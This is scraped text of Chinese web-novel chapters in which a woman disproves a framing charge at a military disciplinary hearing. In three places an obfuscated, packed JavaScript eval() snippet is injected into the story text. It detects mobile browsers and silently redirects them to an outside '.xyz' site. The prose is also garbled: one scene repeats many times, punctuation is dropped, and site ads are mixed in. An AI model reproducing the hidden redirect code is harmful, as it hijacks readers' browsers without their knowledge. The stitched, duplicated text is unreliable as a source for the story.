她脑子里飞快地转着,调动着原身那晚模糊的记忆碎片。 “**, 周柒柒强迫自己冷静,声音带着点被冤枉的急切, “她说谎!那天我到了招待所,前台那个叫林小惠的,正捧着一本小说看得入迷,头都不抬!看我穿得土气,问许树住哪,她爱答不理地随手一指,根本没明确说几号房!那招待所走廊七拐八绕,房间号跳着排,我一个乡下丫头,头回进这种地方,跟进了迷宫似的!我根本就没想去哪个房间,是想找人再问问清楚! 她顿了顿,努力回忆当时混乱的细节。 “我刚走到一个拐角,不知道被谁从背后狠狠推了一把!力气特别大!我整个人根本站不住,直接就摔进旁边开着门的房间里了!我当时人都摔懵了,啥都不知道!根本不是像她说的那样故意进去,更不是什么直奔浴室! 林瑶立刻尖声反驳。 “周柒柒!你刚才不是挺能说的吗?巧舌如簧!现在被戳穿了,就一句‘不知道’‘被推的’就想糊弄过去?你骗谁呢!这借口也太假了! 许树和许枣也跟着起哄。 “就是!太假了!“分明就是狡辩! **王**和那几个偏向周淑华的委员也纷纷摇头,脸上写着“不信两个大字。 “这解释太牵强了!“站不住脚! 众人的指责像是一把把刀子一样,扎向周柒柒的心窝。 似乎又一次将她定罪了一般。 就在这时,一直强压着怒火的沈淮川猛地站起身,“**!我有话说! “淮川哥! 林瑶立刻带着哭腔喊,试图阻止, “你别被她迷住了!她就是狐狸精,把你魂都勾走了!你说话要负责啊! 周淑华也厉声道。 “沈淮川!刚才**不是谁过了吗,组织正在调查!你身为当事人要避嫌!再这样干扰调查,连你一起处理!你好不容易拼出来的前程,难道要为了这么个女人毁于一旦吗?!想想你的身份! 王**更是疾言厉色。 “沈淮川!坐下!现在是调查你的问题!你再这样,别怪我们不客气!因小失大,葬送前途,值吗?! 沈淮川却像没听见,他站得笔直,如同一杆标枪,目光锐利如刀,扫过林瑶和周淑华。 最后定定地看向**,声音斩钉截铁,带着一股豁出去的决绝。 “什么前途地位?在我爱人面前,一文不值!大不了,我沈淮川这个团长不干了,去军区大门口站岗!但我今天必须把话说清楚! 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 第213章 这一切...都是你的算计? 沈淮川这掷地有声的话,让整个会议室都为之一震。 **看着盯着他眼里那股子不撞南墙不回头的执拗,沉默了几秒,终于缓缓点头。 “好,你说。” 沈淮川深吸一口气,目光转向周柒柒,带着安抚,然后朗声说道。 “林小惠在撒谎!我是当事人,我比她清楚!” 他顿了顿,喉结滚了滚,解释道。 “当时我确实在浴室,听见外面有动静,推开浴室门出来查看,我亲眼看见周柒柒同志是被一股大力从门外猛地推进来的!她整个人完全失去平衡,向前扑倒!我出于军人的本能,是上前一步拦腰扶住了她,防止她摔伤!这才造成了所谓的‘抱在一起’的误会!根本不是什么她主动投怀送抱!” “你空口白牙说这些,谁信啊?口说无凭!” 林瑶跟被踩了尾巴的猫似的尖叫起来,手指着沈淮川,脸涨得通红。 “口说无凭?” 沈淮川冷笑一声,眼神锐利地射向林瑶, “林瑶同志,你说得对!所以,我也不光靠嘴说!我也有人证!” 他这话说得掷地有声,在场所有人都吓了一跳。 林瑶和许树对视一眼,心里都咯噔一下。 周柒柒也愣了一下,她没想到,不仅是她早有准备,沈淮川居然也提前做了准备。 只见沈淮川猛地转向会议室门口,提高声音喊了一句:“秦磊!” 会议室门应声而开,沈淮川的警卫员秦磊气喘吁吁地冲了进来,军装后背都汗湿了一片,手里紧紧攥着一个牛皮纸文件袋。 “报告**!东西拿来了!” 秦磊一个立正,声音洪亮。 沈淮川接过文件袋,迅速打开,从里面抽出一封信,双手递给**: “**,这是今天早上刚到的,医院招待所经理赵卫民同志,亲笔写的证明信!上面盖有招待所的公章!” **接过来,自己快速扫了一眼,又递给刚才念信的文书:“念!” 小文书这次念得顺畅多了。 “兹证明: 经查我招待所入住登记记录及值班日志,周柒柒同志于9月1日傍晚首次进入我招待所登记。 而许树同志与林瑶同 志则于三日前已入住本招待所房间号为6号与8号(相邻)。 期间有3位客人反映曾见该二人举止亲密并且在9号房附近走廊长时间逗留、徘徊形迹可疑并因此向保安投诉值班记录本上均有记载。 保安口头劝诫二人数次无果。 事发当日前台值班人员为林小惠当日本非其当值但其主动要求与同事调班。 除此外无其他异常。 特此证明。 省军区招待所经理:赵卫民(盖章)。” 这封信条理清晰证据链完整。 分量比林小惠那封歪歪扭扭、语焉不详的“证词”重太多了! 而且还说出了一个重要的信息——那天是林小惠主动调班! 王**的脸色变得很难看。 **沉吟片刻果断下令。 “既然双方都有人证那就都打电话!现场对质!先找这个林小惠!” 电话很快接通是招待所前台转接过去的。 **亲自拿过话筒 “林小惠同志吗?你之前提供的证词是否完全属实?” 他顿了顿带着不容置疑的压力: “你要清楚作伪证是要负法律责任的!严重了是要吃枪子的!你想清楚再回答!” 电话那头沉默了几秒传来林小惠明显慌乱的声音。 “首**我好像像是记记岔了!我有点糊涂了我.我眼睛不好估计是把周柒柒和另外一个客人看错了! 这翻供翻得也太快太彻底了! 刚才还信誓旦旦“看得真真儿的”被“吃枪子”一吓唬立刻变成“记不清”、“看错了”! **没再多说直接挂了电话。 会议室里顿时响起一阵低低的议论声。 这结果太打脸了。 **又亲自拨通了经理赵卫民的电话简单说明情况。 赵卫民的声音从话筒里传出来清晰、沉稳、条理分明再次确认了证明信的内容并表示随时可以提供原始记录备查。 问到林小惠的情况时赵卫民叹了口气说。 “这林小惠是顶她妈的班进来的嫌我们这儿工资低干活儿向来糊弄。 上班看小说、跟人闲聊是常事儿,跟同事们处得也不怎么样。 说着,还叫了招待所当值的两个工作人员来作证,两人说的跟赵卫民差不离。 这两下一对比,谁真谁假一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16018217|176330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目了然。 就算是王**,也耷拉着脑袋没话说了。 这戏剧性的反转完全出乎了周柒柒的预料。 她一直紧绷的心弦终于彻底松了下来,后背的冷汗这才感觉到冰凉。 她深吸了一口气,平复了一下翻腾的心绪。 目光坦然地看向**,又扫过对面脸色惨白、眼神怨毒几乎要滴出血来的林瑶和周淑华。 最后,她的视线与沈淮川充满信任和鼓励的目光交汇。 她定了定神,缓缓开口,声音不大,却带着一种尘埃落定的清晰和一丝冰冷的指向。 “**,各位委员,我相信事实已经很清楚了,我说的全是实话,我根本就没有时间去策划这场‘捉奸’闹剧。 她顿了顿,目光如刀,直刺向对面:“真正策划这起闹剧的,另有其人! 这句像是一声响雷,敲在在场每个人的心上,众人脑中一震,都不约而同地看向了林瑶和许树。 林瑶的脸“唰地一下,褪尽了血色,惨败如纸,嘴唇哆嗦着,一个字也挤不出来。 许树更是双腿筛糠似的抖动着,冷汗顺着鬓角一路往下滚,把水泥地面都浸湿了一小块。 他眼神乱飞,恨不得找个地缝钻进去。 而许枣,不知道啥时候躲到桌子后面去了,压根就没人能看见她。 周淑华的反应最强烈,她像是被人兜头浇了盆冰水,愣了半晌。 突然冲过去抓起登记本,手指头在上面划来划去,嘴里喃喃着:“不可能,这不可能…… 可登记本上面白纸黑字记载着,林瑶和许树确实提前三天就入住了! 她猛地扭头看向林瑶,眼神里第一次充满了巨大的、难以置信的动摇和怀疑。 “林瑶! 周淑华的声音干涩发紧,带着自己都没察觉的颤抖。 “你们.你和淮川不是说好九月一日才在招待所见面?你这.提前三天去干什么?难道真的像柒周柒柒所说的那样,这一切.都是你的算计?! 林瑶被问得一哆嗦,眼神慌乱地躲闪着。 “婶子,你别听她胡说!我,我就是提前去熟悉下环境…… “你是去和沈淮川见面的,熟悉环境干啥?再说了,熟悉环境需要两个人在人家房门口转悠? 周柒柒冷冷地插了一句,“还让人投诉了好几次? 第214章 居然就有三个多月身孕了! 林瑶被这质问激得一个激灵尖声嘶喊起来。 “不是的!周阿姨你信我!不是我!这些事儿就是周柒柒干的!是这个**心机太深!她来军属区才多久?就把好好的地方搅得鸡飞狗跳!” 她手指发颤地指向周柒柒眼中的怨毒几乎都要溢出来了。 “邱春芳、李红娟不都是被她挤兑走的吗!王大嫂家婆媳本来就有矛盾好好的媳妇经她一挑唆都不听婆婆的话了!还有您周阿姨您这妇女主任当得稳稳当当的不也是因为她才丢了位置?” 她眼巴巴地瞅着周淑华满心指望这根救命稻草能继续站在自己这边。 可周淑华却跟没听见似的脸上一点波澜都没有这让她心里头咯噔一下慌了半截。 林瑶眼珠子飞快地转了两圈 忙不迭地伸手扶住周淑华的肩膀力道又大又急试图勾起她的火气。 “还有还有雷鸣同志!周阿姨您跟我念叨过的周柒柒不安分勾得雷鸣魂不守舍的天天心里头就惦记着她!” 没成想周淑华猛地回头狠狠瞪了她一眼那眼神跟刀子似的急切制止道。 “别说了!这事儿跟雷鸣没关系!” 林瑶被她这一声吼吓得往后踉跄两步后腰“咚”地撞到了桌子沿上疼得她龇牙咧嘴。 可这一下也像是给了她点支撑的底气她索性扯开了嗓门喊。 “总之我说的这一桩桩一件件全是周柒柒干的好事!她就是个扫把星专门来祸害人的!**各位委员你们可不能被她那副模样蒙蔽了啊!” 说着说着她自己心里头也发虚声音都有点飘。 可她心里跟明镜似的这时候松了口自己就彻底完了必须死咬着周柒柒不放。 林瑶咬了咬牙心一横“扑通”一声就跪倒在地上膝盖砸在水泥地上发出沉闷的响声她开始哭天抢地。 “我冤枉啊!恳请**继续调查您可以把邱春芳她们都叫来!甚至可以把许树的父母也都叫来!把许家村的人都叫来!这件事必须查个清清楚楚!” 说完她脑袋一低“咚”地一声重重磕在地上。 再抬起来时额头上已经红了一 大块,看着倒真有几分决绝的样子。 这番阵仗,让在场的纪委人员都有些犹豫了,后头好几个人交头接耳。 声音压得低低的,却还是飘进了大伙儿耳朵里。 “这事儿是不是另有隐情啊?” “我之前确实听几个军嫂念叨过,周柒柒不太团结同志,跟不少军嫂都闹过矛盾。” “是啊,还有人说,她三天两头往外跑,去百货大楼买这买那,衣服一天换一套,看着就不像是过日子的人,生活作风怕是不太好。” 周柒柒听着这些凭空泼来的脏水,嘴角只勾起了一丝冰凉嘲讽的弧度。 “林瑶同志,” 她的声音完全不像林瑶那样嘶吼,平静得很。 却又带着一股子清亮,像是一把快刀,轻易就割开了林瑶歇斯底里的指控。 清清楚楚地传到每个人耳朵里。 “你倒是比关心自己男人还关心我,把我的事儿查得门儿清。可惜,这些早都是过去的事儿了,谁是是非,当事人心里都跟明镜似的,轮不着你来泼脏水。” 林瑶现在这样,无理搅三分,无非就是想赖掉那顶“破坏军婚”的帽子。 说着,她快步走到林瑶面前,微微低了低头,低声说道。 “林瑶,我听说你父母都是医生,当年也是给抗战做过贡献的,看在她们的面子上,给你个机会,你现在把你做过的那些事情,一五一十的全都承认了,不然” 她顿了顿,目光锐利地钉在林瑶脸上。 “不然.我就不客气了!” 她的话带着一丝威胁,但是林瑶却完全没听出来。 她的视线不受控制地落在周柒柒身上。 这女人今天又换了身新衣裳! 驼色呢料的掐腰短外套,衬得身段玲珑有致,同色的包臀裙下摆刚到膝盖,露出一截穿着肉色玻璃丝袜的小腿。 最扎眼的是那领口一圈乌黑油亮的毛领,衬得她那张脸愈发白皙精致。 这身打扮,比林瑶大学时看过的外国画报上的模特还洋气! 周柒柒就那么随意地站着,整个人却像会发光,那股子优雅干练劲儿,刺得林瑶眼睛生疼。 再仔细一瞧,她乌黑发亮的头发上,还别着一枚小小的蝴蝶发 夹蝶翼缀满了碎钻随着她说话轻轻颤动闪出细碎的光。 那色泽一看就知道是新买的!肯定不便宜! 林瑶下意识摸了摸自己空荡荡的耳垂和手腕心头那股邪火“噌”地就窜上了天灵盖! 前两天许枣那个相亲没成许树兄妹俩把火全撒她头上。 为了平息那对兄妹的怨气她把哥哥给自己买的新裙子都给了许枣。 几个最好看的首饰也被许枣抢走了。 现在她穿着旧衣裳灰头土脸地跪在这儿求饶周柒柒却光鲜亮丽连头发丝儿都透着得意! 更让她难受的是—— 沈淮川刚才那句斩钉截铁的“在我爱人面前 他为了周柒柒连前途都能豁出去不要! 她第一次如此清晰地意识到沈淮川那双看向周柒柒时盛满深情和柔光的眼睛。 比许树那永远雾蒙蒙、算计闪烁的桃花眼不知要好看多少倍! 极度的嫉妒和失去一切的恐慌瞬间冲垮了理智的堤坝。 “我凭什么认错?!” 林瑶猛地抬头眼神癫狂声音尖利得变了调 “周柒柒!你算个什么东西?!你配穿这么好的裙子?配戴这么好看的发夹?你配得上沈淮川吗?!这一切!这所有的一切本来都该是我的!” 周柒柒眼底的寒意又重了几分声音也冷了下来。 “哦?这是说出心里话了?可惜啊路是你自己选的没人拿刀架着你。” 她目光一转刀子般刮向面无人色的许树“你呢?许树你敢认吗?” 许树浑身一哆嗦眼神躲闪嘴唇嗫嚅着。 “我我不知道!不关我的事!我什么都不知道!” “呵” 周柒柒一声冷笑满是讽刺地看向林瑶 “林瑶看看这就是你费尽心机抢来的男人?连句痛快话都不敢说窝囊得像滩烂泥。” 林瑶的目光在许树那张惨白哆嗦的脸上打了个转又猛地剜向旁边笔挺站立的沈淮川。 巨大的落差让她几乎呕出血来却依旧梗着脖子嘶喊。 “我没做错!我一点儿错都没有!周柒柒你少血口喷人你拿不出证据!” 周柒柒看着她这副油盐不进、死猪不怕开水烫的样子,眼底最后一丝温度也消失了。 “本来寻思给你留点脸面,既然你非要钻牛角尖,那我也就不藏着掖着了。” 她的声音陡然沉静下来,带着一种尘埃落定的冰冷。 她不再看林瑶,而是从容地从随身的布包里,缓缓抽出一张折叠整齐的纸。 所有人的目光都聚焦在那张纸上。 周柒柒将它展开,双手平举,清晰地展示在**和所有委员面前。 纸页上方,赫然是S市军区医院的抬头,下面印着冰冷的铅字。 “**,各位委员同志,” 周柒柒的声音清晰有力地回荡在死寂的会议室, “请看这张,军区医院前几天出具的处置单。患者姓名:林瑶。诊断结果——” 她刻意停顿了一秒,目光如电,直射向瞬间僵硬的林瑶和惊恐欲绝的许树, “妊娠约13周。” “13周,就是三个月多一点!差不多就是‘捉奸’的时候!” 周柒柒的声音陡然拔高,带着雷霆万钧的气势, “林瑶同志,你一个多月前才在咱们军区礼堂结的婚,请你当着**和所有同志的面说清楚!你肚子里这个三个月大的孩子,到底是怎么回事?!” 她猛地转向许树,厉声喝问。 “许树!还是你来说?!这孩子是不是你的?!你们俩是不是早在所谓的‘捉奸’闹剧发生之前,就已经勾搭上了!” 轰——! 整个会议室仿佛被投下了一颗**! 死寂! 绝对的、令人窒息的死寂! 连呼吸声都消失了。 所有人的目光都死死钉在那张轻飘飘却重逾千斤的处置单上,白纸黑字,医院的红章清晰无比! 周淑华像是被雷劈中,猛地想起什么,指着林瑶失声道。 “怪不得!怪不得前几天你总说恶心反胃,我还以为是肠胃不舒服!原来…原来你是怀上了!你结婚才一个多月,居然就有三个多月身孕了!” 她看向林瑶的眼神,彻底变成了看脏东西的厌恶。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 周柒柒看着她这副油盐不进、死猪不怕开水烫的样子,眼底最后一丝温度也消失了。 “本来寻思给你留点脸面,既然你非要钻牛角尖,那我也就不藏着掖着了。 她的声音陡然沉静下来,带着一种尘埃落定的冰冷。 她不再看林瑶,而是从容地从随身的布包里,缓缓抽出一张折叠整齐的纸。 所有人的目光都聚焦在那张纸上。 周柒柒将它展开,双手平举,清晰地展示在**和所有委员面前。 纸页上方,赫然是S市军区医院的抬头,下面印着冰冷的铅字。 “**,各位委员同志, 周柒柒的声音清晰有力地回荡在死寂的会议室, “请看这张,军区医院前几天出具的处置单。患者姓名:林瑶。诊断结果—— 她刻意停顿了一秒,目光如电,直射向瞬间僵硬的林瑶和惊恐欲绝的许树, “妊娠约13周。 “13周,就是三个月多一点!差不多就是‘捉奸’的时候! 周柒柒的声音陡然拔高,带着雷霆万钧的气势, “林瑶同志,你一个多月前才在咱们军区礼堂结的婚,请你当着**和所有同志的面说清楚!你肚子里这个三个月大的孩子,到底是怎么回事?! 她猛地转向许树,厉声喝问。 “许树!还是你来说?!这孩子是不是你的?!你们俩是不是早在所谓的‘捉奸’闹剧发生之前,就已经勾搭上了! 轰——! 整个会议室仿佛被投下了一颗**! 死寂! 绝对的、令人窒息的死寂! 连呼吸声都消失了。 所有人的目光都死死钉在那张轻飘飘却重逾千斤的处置单上,白纸黑字,医院的红章清晰无比! 周淑华像是被雷劈中,猛地想起什么,指着林瑶失声道。 “怪不得!怪不得前几天你总说恶心反胃,我还以为是肠胃不舒服!原来…原来你是怀上了!你结婚才一个多月,居然就有三个多月身孕了! 她看向林瑶的眼神,彻底变成了看脏东西的厌恶。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 周柒柒看着她这副油盐不进、死猪不怕开水烫的样子,眼底最后一丝温度也消失了。 “本来寻思给你留点脸面,既然你非要钻牛角尖,那我也就不藏着掖着了。 她的声音陡然沉静下来,带着一种尘埃落定的冰冷。 她不再看林瑶,而是从容地从随身的布包里,缓缓抽出一张折叠整齐的纸。 所有人的目光都聚焦在那张纸上。 周柒柒将它展开,双手平举,清晰地展示在**和所有委员面前。 纸页上方,赫然是S市军区医院的抬头,下面印着冰冷的铅字。 “**,各位委员同志, 周柒柒的声音清晰有力地回荡在死寂的会议室, “请看这张,军区医院前几天出具的处置单。患者姓名:林瑶。诊断结果—— 她刻意停顿了一秒,目光如电,直射向瞬间僵硬的林瑶和惊恐欲绝的许树, “妊娠约13周。 “13周,就是三个月多一点!差不多就是‘捉奸’的时候! 周柒柒的声音陡然拔高,带着雷霆万钧的气势, “林瑶同志,你一个多月前才在咱们军区礼堂结的婚,请你当着**和所有同志的面说清楚!你肚子里这个三个月大的孩子,到底是怎么回事?! 她猛地转向许树,厉声喝问。 “许树!还是你来说?!这孩子是不是你的?!你们俩是不是早在所谓的‘捉奸’闹剧发生之前,就已经勾搭上了! 轰——! 整个会议室仿佛被投下了一颗**! 死寂! 绝对的、令人窒息的死寂! 连呼吸声都消失了。 所有人的目光都死死钉在那张轻飘飘却重逾千斤的处置单上,白纸黑字,医院的红章清晰无比! 周淑华像是被雷劈中,猛地想起什么,指着林瑶失声道。 “怪不得!怪不得前几天你总说恶心反胃,我还以为是肠胃不舒服!原来…原来你是怀上了!你结婚才一个多月,居然就有三个多月身孕了! 她看向林瑶的眼神,彻底变成了看脏东西的厌恶。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16018218|176330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 周柒柒看着她这副油盐不进、死猪不怕开水烫的样子,眼底最后一丝温度也消失了。 “本来寻思给你留点脸面,既然你非要钻牛角尖,那我也就不藏着掖着了。” 她的声音陡然沉静下来,带着一种尘埃落定的冰冷。 她不再看林瑶,而是从容地从随身的布包里,缓缓抽出一张折叠整齐的纸。 所有人的目光都聚焦在那张纸上。 周柒柒将它展开,双手平举,清晰地展示在**和所有委员面前。 纸页上方,赫然是S市军区医院的抬头,下面印着冰冷的铅字。 “**,各位委员同志,” 周柒柒的声音清晰有力地回荡在死寂的会议室, “请看这张,军区医院前几天出具的处置单。患者姓名:林瑶。诊断结果——” 她刻意停顿了一秒,目光如电,直射向瞬间僵硬的林瑶和惊恐欲绝的许树, “妊娠约13周。” “13周,就是三个月多一点!差不多就是‘捉奸’的时候!” 周柒柒的声音陡然拔高,带着雷霆万钧的气势, “林瑶同志,你一个多月前才在咱们军区礼堂结的婚,请你当着**和所有同志的面说清楚!你肚子里这个三个月大的孩子,到底是怎么回事?!” 她猛地转向许树,厉声喝问。 “许树!还是你来说?!这孩子是不是你的?!你们俩是不是早在所谓的‘捉奸’闹剧发生之前,就已经勾搭上了!” 轰——! 整个会议室仿佛被投下了一颗**! 死寂! 绝对的、令人窒息的死寂! 连呼吸声都消失了。 所有人的目光都死死钉在那张轻飘飘却重逾千斤的处置单上,白纸黑字,医院的红章清晰无比! 周淑华像是被雷劈中,猛地想起什么,指着林瑶失声道。 “怪不得!怪不得前几天你总说恶心反胃,我还以为是肠胃不舒服!原来…原来你是怀上了!你结婚才一个多月,居然就有三个多月身孕了!” 她看向林瑶的眼神,彻底变成了看脏东西的厌恶。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 周柒柒看着她这副油盐不进、死猪不怕开水烫的样子眼底最后一丝温度也消失了。 “本来寻思给你留点脸面既然你非要钻牛角尖那我也就不藏着掖着了。” 她的声音陡然沉静下来带着一种尘埃落定的冰冷。 她不再看林瑶而是从容地从随身的布包里缓缓抽出一张折叠整齐的纸。 所有人的目光都聚焦在那张纸上。 周柒柒将它展开双手平举清晰地展示在**和所有委员面前。 纸页上方赫然是S市军区医院的抬头下面印着冰冷的铅字。 “**各位委员同志” 周柒柒的声音清晰有力地回荡在死寂的会议室 “请看这张军区医院前几天出具的处置单。患者姓名:林瑶。诊断结果——” 她刻意停顿了一秒目光如电直射向瞬间僵硬的林瑶和惊恐欲绝的许树 “妊娠约13周。” “13周就是三个月多一点!差不多就是‘捉奸’的时候!” 周柒柒的声音陡然拔高带着雷霆万钧的气势 “林瑶同志 她猛地转向许树厉声喝问。 “许树!还是你来说?!这孩子是不是你的?!你们俩是不是早在所谓的‘捉奸’闹剧发生之前就已经勾搭上了!” 轰——! 整个会议室仿佛被投下了一颗**! 死寂! 绝对的、令人窒息的死寂! 连呼吸声都消失了。 所有人的目光都死死钉在那张轻飘飘却重逾千斤的处置单上白纸黑字医院的红章清晰无比! 周淑华像是被雷劈中猛地想起什么指着林瑶失声道。 “怪不得!怪不得前几天你总说恶心反胃我还以为是肠胃不舒服!原来…原来你是怀上了!你结婚才一个多月居然就有三个多月身孕了!” 她看向林瑶的眼神彻底变成了看脏东西的厌恶。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 周柒柒看着她这副油盐不进、死猪不怕开水烫的样子,眼底最后一丝温度也消失了。 “本来寻思给你留点脸面,既然你非要钻牛角尖,那我也就不藏着掖着了。 她的声音陡然沉静下来,带着一种尘埃落定的冰冷。 她不再看林瑶,而是从容地从随身的布包里,缓缓抽出一张折叠整齐的纸。 所有人的目光都聚焦在那张纸上。 周柒柒将它展开,双手平举,清晰地展示在**和所有委员面前。 纸页上方,赫然是S市军区医院的抬头,下面印着冰冷的铅字。 “**,各位委员同志, 周柒柒的声音清晰有力地回荡在死寂的会议室, “请看这张,军区医院前几天出具的处置单。患者姓名:林瑶。诊断结果—— 她刻意停顿了一秒,目光如电,直射向瞬间僵硬的林瑶和惊恐欲绝的许树, “妊娠约13周。 “13周,就是三个月多一点!差不多就是‘捉奸’的时候! 周柒柒的声音陡然拔高,带着雷霆万钧的气势, “林瑶同志,你一个多月前才在咱们军区礼堂结的婚,请你当着**和所有同志的面说清楚!你肚子里这个三个月大的孩子,到底是怎么回事?! 她猛地转向许树,厉声喝问。 “许树!还是你来说?!这孩子是不是你的?!你们俩是不是早在所谓的‘捉奸’闹剧发生之前,就已经勾搭上了! 轰——! 整个会议室仿佛被投下了一颗**! 死寂! 绝对的、令人窒息的死寂! 连呼吸声都消失了。 所有人的目光都死死钉在那张轻飘飘却重逾千斤的处置单上,白纸黑字,医院的红章清晰无比! 周淑华像是被雷劈中,猛地想起什么,指着林瑶失声道。 “怪不得!怪不得前几天你总说恶心反胃,我还以为是肠胃不舒服!原来…原来你是怀上了!你结婚才一个多月,居然就有三个多月身孕了! 她看向林瑶的眼神,彻底变成了看脏东西的厌恶。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 第215章 等候军法处置! 一个一直沉默的委员猛地站起身,声音带着军人特有的铿锵, “那段时间沈淮川同志在执行特殊任务,我可以作证!他的行踪有据可查!这孩子绝对不可能是沈淮川的!” 他看向沈淮川,眼神是绝对的信任, “而且我相信沈淮川作为军人,绝不会在婚前做出任何有辱军人荣誉的苟且之事!” 所有人的目光,像无数把烧红的烙铁,瞬间聚焦在瘫软在地的林瑶身上。 她们心里都清楚,这孩子既然不是沈淮川的,那肯定就是许树的了。 林瑶三个月前就怀上了许树的种,说明两人早就搞到一起去了。 那么一切也就说得通了。 真相是——那场所谓的“捉奸”戏码,是林瑶自己策划的,目的就是为了摆脱沈淮川,和许树正大光明的在一起! 她今天的种种行为,无疑是一出贼喊捉贼、栽赃陷害的丑恶闹剧! 周柒柒淡淡得看向林瑶。 “真正破坏军婚的,不是我周柒柒,而是你林瑶!” 她的这句话,成了压垮骆驼的最后一根稻草。 众人看向林瑶的目光再也没有丝毫同情,而是充满了愤怒和鄙夷。 “不——!假的!那是假的!” 林瑶的理智彻底崩断,发出一声凄厉的尖叫,像个疯子一样,不管不顾地朝着周柒柒扑去,目标直指那张纸, “你伪造的!你害我!!你不可能有这个处置单!” 旁边的警卫员眼疾手快,铁钳般的大手一把将她死死拦住,按在原地。 扑通! 林瑶被巨大的力道掼倒在地,浑身瘫软如泥,眼神涣散空洞,嘴里只剩下无意识的、神经质的喃喃。 “假的…都是假的…不是我的…不是我…” 最后一道精神防线,彻底土崩瓦解。 许树则面如金纸,抖得像秋风里的落叶,一股刺鼻的尿骚味竟从他裤裆里弥漫开来! 他惊恐万状地看着林瑶的肚子,又对上**震怒的目光和沈淮川那几乎要将他凌迟的冰冷视线,魂都吓飞了! “你…你怎么知道的?!” 他指着周柒柒,声音抖得不成调, “你跟踪我们?!你早就图谋不轨!是不是?! ” 按照程序来说,纪委本来还应该联系军区医院,证明这张处置单的真伪。 但这两人做贼心虚的反应,直接让众人知道,林瑶怀孕三个多月这事儿,是真的不能再真了。 周柒柒嫌恶地皱了皱眉,声音冷冽如冰泉。 “我没那闲工夫,这两个月我一直陪着朱莹莹同志跑医院备孕,跑得多了,自然懂点。” 之前在卫生所看病那次,就瞧见林瑶干呕,那模样,可不像吃坏了肚子。 所以她心里就留了个影儿。 前两天在医院,碰巧撞见许树和林瑶在角落里吵得脸红脖子粗,就悄悄跟了上去。 这张单子,就是从她们脚边掉下的。 她嘴角扯出一抹嘲讽的弧度。 “没人要,我就‘捡’来看看了。老天爷开眼,该是谁的债,终究跑不掉!” “岂有此理!无耻之尤!” 主位上的纪委**再也压不住滔**火,猛地一拍桌子,“砰”一声巨响,震得桌上的茶杯都跳了起来! 他脸色铁青,额角青筋暴跳,指着瘫软的林瑶和失禁的许树,气得声音都在发颤: “查!给我彻查到底!这根本就是一出贼喊捉贼、栽赃陷害的丑剧!破坏军婚的不是周柒柒同志,恰恰是这对不知廉耻、违背婚约、私通苟且的狗男女!还有诬告!作伪证!损害军人及军属名誉!简直是…简直是军区的耻辱!绝不能轻饶!一个都不能放过!” 他凌厉的目光扫过全场,厉声下令:“警卫员!” “到!” 门口肃立的士兵应声如雷。 “把许家这三个败类,给我押下去!严加看管!等候军法处置!” “是!” 两名警卫员如虎狼般上前,一把将烂泥般的林瑶和瘫软失禁的许树,还有一个劲儿往桌子地下钻的许枣从地上拖了起来,毫不留情地往外架去。 **锐利的目光扫过全场,最终钉在面无人色的周淑华身上。 “还有你,周淑华同志!” **的声音沉得像块铁, “堂堂大学教授,军属区老人,竟偏听偏信,是非不分!带着这么三个东西,来诬告我们军区战斗英雄的家属?雷政委之前说你身体不好主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16025906|176330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动卸了妇 女主任我看是你思想出了大问题!你的问题组织一样要严肃处理!” 周淑华像被狠狠抽了一鞭子 小说的域名caixs.com?(请来才 小说 看最新章节 完整章节)整个人猛地一缩。 周淑华脸色灰败嘴唇哆嗦着手指头死死抠着硬木椅子扶手指甲盖都快劈了指节绷得惨白。 她不敢看沈淮川更不敢看周柒柒眼珠子直勾勾钉在自己脚尖前头。 那儿还汪着一小滩许树留下的尿渍骚气混着会议室里沉闷的空气直往她鼻子里钻。 脑子里嗡嗡响天旋地转。 她这辈子最得意的“原则”“明察秋毫”到头来成了捅向自己人的刀子这念头像毒蛇一口口啃着她的五脏六腑。 突然她身子剧烈一颤喉咙里发出“嗬嗬”的怪响一只手死死捂住心口。 整个人像被抽了筋似的从椅子上滑下来蜷缩在地板上脸色瞬间由灰白转为骇人的青紫! “哎哟!周主任!” 离得近的委员惊呼出声。 “不好!她心口疼犯了!” 有人认出这是周淑华的**病。 “快!快给军区医院打电话叫救护车!” **也变了脸色急声下令。 警卫员立刻摇起了电话。 